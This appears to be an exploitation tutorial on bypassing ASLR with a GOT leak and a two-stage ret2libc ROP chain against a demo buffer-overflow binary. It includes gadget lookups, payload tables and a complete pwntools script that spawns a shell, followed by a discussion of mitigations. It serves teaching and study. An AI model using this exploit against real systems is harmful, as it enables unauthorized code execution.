Defeating ASLR: Memory Leaks, PLT/GOT, and Ret2Libc Exploitation
When ASLR randomizes library addresses, absolute addresses become useless. Learn how attackers exploit dynamic linking, leak GOT entries, and compute runtime offsets to bypass ASLR and achieve code execution.
The previous article in this series covered Return-Oriented Programming β chaining together existing executable fragments to bypass the NX bit. The technique works, but it depends on knowing where those fragments are in memory at runtime. On a modern Linux system with ASLR enabled, you donβt.
Address Space Layout Randomization (ASLR) randomizes the base addresses of the stack, heap, and shared libraries on each execution. A gadget at 0x7ffff7a12345 in one run might be at 0x7f2b9c1d3456 the next. Hardcoded addresses break immediately.
This article explains how to defeat ASLR without guessing: by forcing the program to reveal a runtime address through a memory leak, using that address to compute the current library base, and then constructing a second-stage payload with correct addresses. The technique is called a two-stage ret2libc attack, and itβs the standard approach when facing ASLR on non-PIE binaries.
If youβre arriving here without the prior context: the core prerequisites are a stack buffer overflow that controls the return address, and a target binary compiled without PIE (Position Independent Executable). Both are explained in the earlier articles; a brief recap is included below.
Prerequisites
Buffer overflow + return address control: A stack buffer overflow that reaches the saved return address lets an attacker redirect RIP. Functions like strcpy, gets, and scanf("%s") copy input without bounds checking, making this possible when input exceeds the buffer size plus the saved rbp (typically 24 bytes total for a 16-byte buffer on x86_64).
Non-PIE binary: ASLR randomizes the heap, stack, and loaded libraries. It does not randomize the main executableβs load address unless compiled with -pie -fPIE. On a non-PIE binary, the .text segment, PLT, and GOT sit at fixed addresses across every run. This is the precondition for the technique below β against a PIE binary, youβd need an additional leak for the binaryβs own base address.
NX enabled, no stack canary (for the demo): The binary has the NX bit set (stack not executable), so shellcode injection doesnβt work. No stack canary, so the overflow path reaches the return address cleanly.
Why ASLR Doesnβt Randomize Everything
ASLR shifts library base addresses by a random offset at load time. The entropy depends on the architecture and kernel configuration: on 64-bit Linux itβs typically 28β32 bits for libraries and the stack, making brute force completely infeasible (roughly 1 in 4 billion attempts). On older 32-bit systems the entropy was 8β16 bits β shallow enough that brute force was a realistic attack in some scenarios.
What ASLR preserves: relative offsets within a library are fixed. The distance between puts() and system() inside libc.so is determined at compile time and never changes between runs. If you can discover where one function is at runtime, you can compute the location of every other function in the same library:
The offsets are constants you can extract from the library file. The leaked address is what you need to obtain at runtime. Thatβs the job of Stage 1.
The PLT and GOT: How Dynamic Linking Works
A compiled binary doesnβt contain the code for puts() or system(). It references them from libc.so, which is loaded separately. Because ASLR means the compiler canβt know where libc will be at runtime, the binary uses an indirection mechanism:
PLT (Procedure Linkage Table): A small table of stubs in the binaryβs .text segment, one per imported function. Calling puts() in C actually calls puts@plt β a few-instruction trampoline.
GOT (Global Offset Table): An array of 8-byte pointers in the binaryβs data segment. Each imported function has a GOT entry. After the dynamic linker resolves a function, its GOT entry holds the actual runtime address.
Lazy Binding
The first call to puts@plt triggers lazy binding:
puts@plt: jmp QWORD PTR [rip + <got_puts_offset>] ; jump to GOT entry push <relocation_index> ; if GOT holds stub addr, fall through jmp plt0 ; call the dynamic linkerOn the first call, the GOT entry points back into the PLT, which calls ld.so. The linker resolves puts in libc, writes the real address into the GOT entry, then jumps there. Every subsequent call hits the real address directly.
The exploit relevance: After the first call to any imported function, its GOT entry holds the resolved runtime address β the ASLR-shifted address of that function in libc. The GOT itself sits at a fixed, known address in a non-PIE binary.
Full RELRO Blocks This
One important mitigation: Full RELRO (-Wl,-z,relro,-z,now) forces eager binding (all symbols resolved at startup) and then marks the GOT read-only. Against a Full RELRO binary, you can still read GOT entries for leaking, but you canβt overwrite them. Partial RELRO (default on most Linux distributions) leaves some GOT entries writable.
Check what a binary has before starting:
checksec --file=./vuln# RELRO: Partial RELRO β GOT writable, lazy binding in effect# NX: enabled# PIE: disabled β fixed load addressStage 1: Leaking a GOT Entry
The goal of Stage 1 is to call puts@plt with the address of puts@got as its argument. This makes the program print the 8-byte pointer stored in the GOT β the current runtime address of puts() in libc.
What You Need
# Gadget: pop rdi ; ret β sets rdi (first argument register)ROPgadget --binary ./vuln --search "pop rdi"# 0x0000000000401233 : pop rdi ; ret
# GOT entry address for putsobjdump -R ./vuln | grep puts# 0x0000000000601018 puts@GLIBC_2.2.5
# PLT address for putsobjdump -d ./vuln | grep "<puts@plt>"# 0x0000000000400510 <puts@plt>
# Address of main() β to restart and accept Stage 2 inputobjdump -d ./vuln | grep "<main>"# 0x0000000000400620 <main>Stage 1 Payload Layout
Offset to return address: 24 bytes (16-byte buffer + 8-byte saved rbp).
| Offset | Content | Effect |
|---|---|---|
| +0β15 | b'A' * 16 | Fills buffer[16] |
| +16β23 | b'B' * 8 | Overwrites saved rbp |
| +24 | 0x401233 | ret β pop rdi; ret gadget |
| +32 | 0x601018 | pop rdi loads puts@got address into rdi |
| +40 | 0x400510 | ret β puts@plt β prints GOT entry |
| +48 | 0x400620 | puts returns here β restarts main() |
When this fires, puts@plt receives puts@got as its argument and prints the 8 bytes stored there β the runtime address of puts() in libc. Then execution returns to main(), which waits for Stage 2 input. ASLR doesnβt re-randomize between stages because the process hasnβt restarted β only RIP was redirected.
One subtlety: puts() prints until it hits a null byte (0x00). A 64-bit pointer is 8 bytes, but on Linux the top two bytes are typically 0x00 0x00 (valid user-space addresses use 48 bits). This means the leak will often be 6 bytes, not 8. Unpack as little-endian with zero-padding:
leaked_bytes = io.recvuntil(b'\n', drop=True)leaked_addr = u64(leaked_bytes.ljust(8, b'\x00'))Stage 2: Computing Offsets and Executing the Shell
With the runtime address of puts() known, you need its offset from libcβs base. Offsets vary by libc version β confirm which version is on the target:
ldd ./vuln# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep -E " puts| system"# 0000000000080a30 puts@@GLIBC_2.2.5# 000000000004f4e0 system@@GLIBC_2.2.5
strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"# 1b40fa /bin/shIf you donβt have the targetβs exact libc, services like libc.rip identify the version from leaked symbol offsets and provide the full symbol table.
Computing the Base and Target Addresses
libc_puts_offset = 0x080a30libc_system_offset = 0x04f4e0libc_binsh_offset = 0x1b40fa
libc_base = leaked_addr - libc_puts_offsetsystem_addr = libc_base + libc_system_offsetbinsh_addr = libc_base + libc_binsh_offsetStage 2 Payload Layout
Same buffer and rbp padding, then a fresh ROP chain using computed addresses:
| Offset | Content | Effect |
|---|---|---|
| +0β15 | b'A' * 16 | Fills buffer |
| +16β23 | b'B' * 8 | Overwrites saved rbp |
| +24 | 0x401233 | pop rdi; ret gadget (fixed, non-PIE) |
| +32 | binsh_addr | Loads /bin/sh pointer into rdi |
| +40 | ret_pad | Bare ret for 16-byte stack alignment |
| +48 | system_addr | Jumps to system() in libc |
The alignment pad (ret_pad β any bare ret in the binary) is necessary because system() uses SSE instructions internally that require rsp to be 16-byte aligned at the call point. Without it, the chain will segfault inside system().
Complete pwntools Script
from pwn import *
BINARY = './vuln'LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(BINARY)libc = ELF(LIBC)
# Gadgets and addresses (fixed β binary is not PIE)pop_rdi = 0x401233ret_pad = 0x40101a # bare ret for alignmentputs_plt = elf.plt['puts']puts_got = elf.got['puts']main = elf.symbols['main']
OFFSET = 24 # distance to return address
io = process(BINARY)
# ββ Stage 1: leak puts() runtime address ββββββββββββββββββββββββββββββββββββββpayload1 = b'A' * OFFSETpayload1 += p64(pop_rdi)payload1 += p64(puts_got)payload1 += p64(puts_plt)payload1 += p64(main) # restart β ASLR not re-randomized
io.sendline(payload1)io.recvline() # consume "Access Denied." output if present
leaked_bytes = io.recvuntil(b'\n', drop=True)leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))log.success(f"Leaked puts @ {hex(leaked_puts)}")
# ββ Calculate libc base and targets βββββββββββββββββββββββββββββββββββββββββββlibc.address = leaked_puts - libc.symbols['puts']system_addr = libc.symbols['system']binsh_addr = next(libc.search(b'/bin/sh'))
log.info(f"libc base @ {hex(libc.address)}")log.info(f"system() @ {hex(system_addr)}")log.info(f"/bin/sh @ {hex(binsh_addr)}")
# ββ Stage 2: ret2libc with computed addresses βββββββββββββββββββββββββββββββββpayload2 = b'A' * OFFSETpayload2 += p64(pop_rdi)payload2 += p64(binsh_addr)payload2 += p64(ret_pad)payload2 += p64(system_addr)
io.sendline(payload2)io.interactive() # shell runs as current user β not root unless binary is SUIDOne Gadget: A Faster Alternative
Many libc versions contain a one gadget β a single address that, when jumped to with the right register/stack state, executes execve("/bin/sh", NULL, NULL) without any argument setup:
one_gadget /lib/x86_64-linux-gnu/libc.so.6# 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15 == NULL, r12 == NULL]# 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15 == NULL, rdx == NULL]If the constraints are satisfied at the point youβd jump there (often they are after a puts return), you can replace the pop rdi + ret_pad + system chain with just libc.address + one_gadget_offset. Whether constraints are met depends on what registers hold at that moment β check with GDB at the ret point.
Format String Leaks: An Alternative Leak Vector
The exploit above assumes you can call puts@plt through a ROP chain. A more common leak source in real vulnerabilities is a format string vulnerability: code like printf(user_input) instead of printf("%s", user_input).
%p in the format string prints a pointer-sized value from the stack or registers. By sending %p.%p.%p... an attacker can read stack memory, which often contains saved rbp values, return addresses, or libc pointers. Once a libc pointer is identified (recognizable by its address range or known offset), the same base calculation applies.
Format string leaks donβt require controlling the return address β they work as a standalone read primitive, which is why theyβre often combined with a separate write primitive in multi-step exploits.
Where This Breaks Down
PIE + ASLR: Against a PIE binary, the binaryβs own .text, PLT, and GOT are also randomized. Youβd need a separate leak of a binary address before knowing where any gadgets or GOT entries are.
Full RELRO: The GOT is read-only after startup. You can still read GOT entries for leaking (a read primitive still works), but you cannot overwrite them for redirection.
Stack canary: If a canary sits between the buffer and the saved return address, a linear overflow will corrupt it and trigger __stack_chk_fail before reaching ret. Defeating canaries requires either a leak of the canary value or a non-linear write primitive.
ASLR + PIE + Full RELRO + canary together is the standard hardened configuration. Each layer closes a specific exploitation path. Bypassing all four simultaneously requires at minimum two separate vulnerabilities β a read primitive for the leak and a write/control primitive for the redirect β which is why modern exploitation research focuses on vulnerability chaining rather than single-bug exploits.
Author
Varkin Academy